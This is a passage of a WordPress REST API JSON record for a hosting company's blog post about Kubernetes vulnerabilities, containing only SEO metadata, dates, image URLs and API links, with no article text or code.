[&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":86624,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-86623","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.3 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/nl\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.3\" \/>\n\t\t<meta property=\"og:locale\" content=\"nl_NL\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/nl\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47Wanneer het niet alleen om kwetsbaarheden in Kubernetes gaat\u2026 | ProHoster","description":"Opmerking.","canonical_url":"https:\/\/prohoster.info\/nl\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"nl_NL","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster","og:description":"\u041f\u0440\u0438\u043c.","og:url":"https:\/\/prohoster.info\/nl\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-06-27T17:42:40+00:00","article:modified_time":"2020-06-27T17:42:40+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"86623","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 14:11:05","updated":"2022-09-28 21:18:58","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/posts\/86623","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/comments?post=86623"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/posts\/86623\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/media\/86624"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/media?parent=86623"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/categories?post=86623"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/tags?post=86623"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}